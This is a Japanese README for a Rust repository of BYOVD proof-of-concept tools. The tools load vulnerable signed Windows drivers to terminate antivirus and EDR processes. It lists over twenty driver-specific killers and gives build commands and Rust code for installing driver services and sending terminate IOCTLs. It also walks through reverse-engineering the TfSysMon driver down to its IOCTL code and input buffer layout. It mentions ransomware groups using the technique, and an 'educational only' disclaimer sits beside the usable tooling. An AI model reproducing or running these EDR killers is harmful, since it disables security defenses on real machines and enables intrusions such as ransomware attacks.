
BYOVD は、脆弱なドライバを悪用して AV/EDR ソリューションを無効化する方法を示す PoC のコレクションです。
このコレクションには、非公開のドライバと、LOLDDrivers または Microsoft の推奨ドライバブロックルール で既にカバーされているドライバの両方が含まれています。
最初の発見以来、TfSysMon ドライバは LOLDrivers に追加され、Sophos と ESET が報告したように、ランサムウェアグループによって EDRKillShifter ツールを使用して悪用されています。
BYOVD 技術 は、近年、オフェンシブセキュリティの分野で人気が高まっています。特に、SpyBoy の Terminator(3,000 ドルで販売)や ZeroMemoryEx Blackout プロジェクトなどのツールのリリースに伴い、注目を集めています。これらのツールは、脆弱なドライバを利用して AV/EDR エージェントを無効化し、検出を減らすことでさらなる攻撃を容易にします。
このリポジトリには、教育目的で開発されたいくつかの PoC が含まれており、研究者がこれらのドライバを悪用してプロセスを終了させる方法を理解するのに役立ちます。
このプロジェクトは Rust Cargo ワークスペース として構成されています。ほとんどの PoC は、定型処理(ドライバサービスのライフサイクル、IOCTL ディスパッチ、プロセス監視、特権調整、クリーンアップ)を処理する共通ライブラリ(byovd-lib)を共有しています。各キラーは、ドライバ固有の設定のみを定義する薄いバイナリ(約 50〜100 行)です。K7Terminator、Astra64-Killer、Ktapi-Killer、および Xhunter1-Killer はスタンドアロン であり、独自の [workspace] 宣言を持ち、ルートワークスペース経由ではなく、それぞれのディレクトリから直接ビルドされます。```
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── EnPortv-Killer/ # EnCase EnPortv
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer
├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
各 `*-Killer/` ディレクトリには、独自の `Cargo.toml`、`src/main.rs`(`DriverConfig` の実装とCLI)、`README.md`(ドライバのハッシュと使用方法)、およびバイナリが実行時に読み込む対応する `.sys` ファイルが含まれています。
## 🔧 ビルド
**前提条件:** Rustツールチェーンと、Windows SDKを含むVisual Studio Build Tools。```bash
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
Binariesはtarget/release/に出力されます。実行前に、対応する.sysドライバファイルを実行可能ファイルと同じディレクトリにコピーしてください。
byovd-libは、すべてのPoC(K7Terminatorを除く)が基盤とする共有ライブラリです。これは2つの相補的なAPIを公開しています。標準的な「ドライバをインストールし、見つけ次第強制終了し、クリーンアップする」フロー用の高レベル宣言型APIと、カスタムフローが必要なキラー(既にロードされたドライバへのアタッチ、複数PIDへのファンアウト、構造化IOCTLバッファ、カスタム再試行ロジックなど)用の低レベル命令型APIです。両方は同じバイナリ内で混在させることができます。
byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir
### 高レベルAPI: `DriverConfig` トレイト + `run()`
これはバンドルされているキラーが使用するものです。トレイトを実装し、`byovd_lib::run()` を呼び出すだけで完了です。```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
run() は以下を実行します: preflight_check → サービスのインストール (SERVICE_DEMAND_START) → StartService → キルオンサイトモニター (Ctrl+C で終了) → サービスの停止と削除。
オプションのトレイトオーバーライドとそのデフォルト値:
トレイトのフローが適合しない場合 -- 例: ドライバがすでにロードされており IOCTL を1回だけ発火させたい、カスタムのリトライポリシーが必要、IOCTL が PID だけでなく構造化された入力を受け取る、または一致するすべての PID にファンアウトしたい -- は、低レベルの構成要素を直接組み合わせてください。
ドライバのライフサイクル -- ByovdDriver:```rust
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;
**IOCTL ディスパッチ** -- `DeviceHandle` は5つの型付きシェイプを公開しています:
| メソッド | 使用場面 |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | 入力バッファと出力バッファの両方を使用し、型が異なる場合 |
| `ioctl_inout<T>(code, &mut data)` | 入力と出力に同じバッファを使用する場合 |
| `ioctl_in<I>(code, &input)` | 入力のみで、出力バッファがない場合 |
| `ioctl_in_unchecked<I>(code, &input)` | 入力のみで、失敗を無視する場合 (`ignore_ioctl_error` の呼び出し単位の代替) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | 生ポインタによるエスケープハッチ |
型付きフォームは、IOCTL が構造体 (例: `{ pid: u32, padding: [u8; 20] }`) を受け取る場合に、手動の `to_ne_bytes()` / `extend_from_slice()` のボイラープレートを排除します。
**プロセス検索** -- `find_pid_by_name(name)` (最初の一致) と `find_all_pids_by_name(name)` (すべての一致、システム PID ≤ 4 を除外)。
**カスタムモニターループ** -- `run_monitor_loop(name, interval, |pid| ...)` はクロージャを受け取るため、一致ごとに任意の処理 (複数の IOCTL、構造化ロギング、PID 間のファンアウト、エラー時のリトライ) を実行できます。
**特権** -- 明示的なトークン特権を必要とするドライバ向けに `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` を使用します。`ensure_running_as_local_system()` は、プロセスが `S-1-5-18` として実行されていない場合にエラーを返します。
**ハンドルラッパー** -- `WinHandle` (自動 `CloseHandle`) と `ScHandle` (自動 `CloseServiceHandle`) は `Send + Sync` であり、スレッド間で移動できます。
### 例: すでに読み込まれているドライバへのアタッチ、サービスライフサイクルなし
これは `UnknownKiller --attach` が行う処理です -- SCM を完全にスキップし、デバイスを開いて IOCTL を1回発火するだけです:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
fn main() -> Result<()> {
let device = DeviceHandle::open("\\\\.\\eb")?;
let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
device.ioctl_in(0x222024, &pid)?; // typed: just pass &u32
Ok(())
}
FileHandle / ServiceHandle は引き続き WinHandle / ScHandle に解決され、get_pid_by_name は find_pid_by_name のエイリアスとして維持されるため、それらの名前を参照する古いコードもコンパイルされ続けます。
以下は、このリポジトリで利用可能なドライバとそれぞれの POC です:
OPSWAT AppRemover の ardrv.sys を標的とします。EnTech Taiwan (Astra32 / TVicHW) の astra64.sys を標的とします -- スタンドアロンのデータ専用 Shadow SSDT ハイジャック EDR キラー。Baidu AntiVirus の BdApiUtil64.sys を標的とします (CVE-2024-51324)。CnCrypt の CcProtect.sys を標的とします。Guidance EnCase の EnPortv.sys を標的とします。このセクションでは、TfSysMon ドライバを実践例として使用し、A-Z の完全なリバースエンジニアリング手法を実演します。このプロセスは、あらゆる x64 Windows カーネルドライバ解析に適用できます。
リバースエンジニアリングを開始する前に、ドライバのインポートを確認します。
基本的なプロセスキラードライバには、次の2つが必要です:
プロセスへのハンドルを取得する方法 (例: ZwOpenProcess または NtOpenProcess)
プロセスを終了する方法 (例: ZwTerminateProcess または NtTerminateProcess)
ドライバが両方の関数タイプをインポートしているかどうかを確認します。ドライバのインポート関数に Nt/ZwOpenProcess と Nt/ZwTerminateProcess の両方がある場合、それは潜在的なプロセスキラードライバの候補です。
これらのインポートを確認した後にのみ、IDA Pro での詳細なリバースエンジニアリングに進む必要があります。
必要なツール:
すべての Windows ドライバは DriverEntry から始まります - まずこの関数を見つけてください:
TfSysMon では、DriverEntry は次のようになります:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }
**分析メモ:**
- このコードはBugCheckParameter2とBugCheckParameter3を使用していくつかの初期化を実行します
- 実際のドライバ初期化は`sub_17484`で行われます
- `sub_17484(DriverObject)`への呼び出しを追跡します - ここで実際のドライバ設定が行われます
### 📍 ステップ 2: ドライバ初期化チェーンを追跡する
**初期化関数(`sub_17484`)に移動します:**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
// ... initialization code ...
RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( result < 0 )
return result;
qword_1D5D8 = 0;
dword_1D5D0 = 1;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
// ... rest of function ...
}
主要なリバースエンジニアリング調査結果:
\\Device\\TfSysMon (カーネル空間)\\DosDevices\\TfSysMon (ユーザーモードから \\.\\TfSysMon としてアクセス可能)0x22 = FILE_DEVICE_UNKNOWNsub_17694 を指すディスパッチ関数 (sub_17694) に移動します:```c
__int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx
unsigned int v4; // ebx
if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }
**リバースエンジニアリング分析:**
- デバイスの検証が最初に行われる(`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` が操作の種類を決定する
- **重要**: MajorFunction の値 14(0xE)と 15(0xF)は `sub_177D8` を呼び出す
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = IOCTL 処理
- 脆弱なコードパスは次のとおり: **IOCTL リクエスト → sub_177D8**
### 📍 ステップ 4: IOCTL ハンドラのリバースエンジニアリング
**IOCTL 処理関数(`sub_177D8`)に移動する:**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
// ... variable declarations ...
v7 = *(_DWORD *)(a2 + 24); // Extract IOCTL code
MasterIrp = Irp->AssociatedIrp.MasterIrp; // Input buffer
v9 = *(unsigned int *)(a2 + 16); // InputBufferLength
v10 = *(_DWORD *)(a2 + 8); // OutputBufferLength
if ( v7 > 0xB4A00070 )
{
if ( v7 > 0xB4A000F8 )
{
if ( v7 != -1264582404 )
{
switch ( v7 )
{
// ... various cases ...
case 0xB4A00404: // VULNERABLE IOCTL CODE
if ( (unsigned int)v9 >= 0x18 )
return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
break;
// ... more cases ...
}
}
}
}
// ... rest of function
}
重要なリバースエンジニアリングの発見:
v7 = *(_DWORD *)(a2 + 24) はIO_STACK_LOCATIONからIOCTLコードを取得しますIrp->AssociatedIrp.MasterIrp にはユーザーデータが含まれますv9 = *(unsigned int *)(a2 + 16) は入力バッファサイズを取得します0xB4A00404 は sub_1837C につながりますプロセス終了関数(sub_1837C)に移動します:```c
__int64 __fastcall sub_1837C(__int64 a1)
{
unsigned int v2; // ebx
void *v3; // rax
unsigned int v4; // edi
NTSTATUS v6; // eax
// ... variable declarations ...
v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }
**機能分析:**
- **入力構造**: ドライバコードの解析から、PIDがオフセット+4にあるバッファレイアウトを特定しました
- **入力解析**: `v3 = *(void **)(a1 + 4)` は入力バッファのオフセット+4からPIDを抽出します
- **プロセスオープン**: 最小限のアクセス権(1u = PROCESS_TERMINATE)で`ZwOpenProcess`を呼び出し
- **セキュリティチェックなし**: 呼び出し元の権限や対象プロセスの保護に関する検証は一切なし
- **プロセス終了**: `ZwTerminateProcess`を直接呼び出し
- **リトライロジック**: オープンと終了の両方で複数回試行
- **任意のプロセス**: SYSTEMアカウントがアクセス可能な任意のプロセスを終了可能
### 📍 ステップ6: 完全な攻撃チェーンをマッピングする
**完全なリバースエンジニアリングフロー:**
1. **エントリポイント**: ユーザーが`\\.\\TfSysMon`に対して`DeviceIoControl`を呼び出し
2. **IRP生成**: I/OマネージャーがMajorFunction = 14のIRPを生成
3. **ディスパッチ**: `sub_17694`がIOCTL処理のために`sub_177D8`へルーティング
4. **IOCTLチェック**: `sub_177D8`がIOCTLコード`0xB4A00404`とバッファサイズ≥24バイトを検証
5. **実行**: ユーザー入力バッファを指定して`sub_1837C`を呼び出し
6. **終了**: `sub_1837C`がオフセット+4からPIDを抽出し、`ZwTerminateProcess`経由でプロセスを終了
**入力バッファ構造(ドライバのリバースエンジニアリングから):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check
この方法論は、ユーザーモードとの通信から危険なカーネル操作までの実行パスを追跡することで、Windows x64 カーネルドライバーを体系的にリバースエンジニアリングし、同様の脆弱性を特定する方法を実証します。
BYOVD がレッドチーム運用に役立ったなら、コーヒーを一杯ごちそうしてください:
BYOVD プロジェクトは教育および研究目的のみを対象としています。著者は、これらのプログラムの誤用または損害について一切の責任を負いません。これらのツールをシステム上で使用する前に、必ず明示的な許可を求めてください。
| メソッド | デフォルト | 目的 |
|---|
device_access() | SERVICE_ALL_ACCESS | CreateFileW のアクセスフラグ |
skip_unload() | false | ドライバのクリーンアップをスキップ (例: アンロード時に BSOD を引き起こすドライバ) |
ignore_ioctl_error() | false | IOCTL の失敗を成功として扱う (例: NSecKrnl は成功時にエラーを報告する) |
ioctl_output_size() | 0 | 期待される出力バッファサイズ (バイト単位) |
preflight_check() | Ok(()) | 起動前の検証 (例: LocalSystem チェック) |
Fedeen Games の GameDriverX64.sys を標的とします (CVE-2025-61155)。Golink の GoFlyDrv.sys を標的とします。HONOR (PCManager) の HNOs2Ec.sys を標的とします。Huawei の HWAudioOs2Ec.sys を標的とします。K7 Computing の K7RKScan.sys を標的とします (CVE-2025-52915、CVE-2025-1055) -- 完全な解説。Kingsoft Corporation の ksapi64.sys / ksapi64_del.sys を標的とします。Kontron の ktapi.sys を標的とします -- スタンドアロンの2段階シェルコード EDR キラー。HONOR (HnRSMService) の MonProcess.sys を標的とします。HONOR の MonProcessEX.sys を標的とします。NSEC の NSecKrnl.sys を標的とします (ValleyRAT BYOVD 再現)。PC Tools の PCTcore64.sys を標的とします (CVE-2026-8501)。Microsoft の PoisonX.sys を標的とします (@j3h4ck の再現)Safetica の STProcessMonitor.sys を標的とします (CVE-2025-70795、v11.11.4 と v11.26.18 をサポート)。ThreatFire System Monitor の sysmon.sys を標的とします。unknown.sys を標的とします。Tg Soft の viragt64.sys を標的とします。Topaz Antifraud の wsftprm.sys を標的とします (CVE-2023-52271)。Wellbia (XIGNCODE3、CVE-2026-3609) のレガシー xhunter1.sys を標的とします。JiranJikyosoft X-Keeper の xkpsm.sys を標的とします。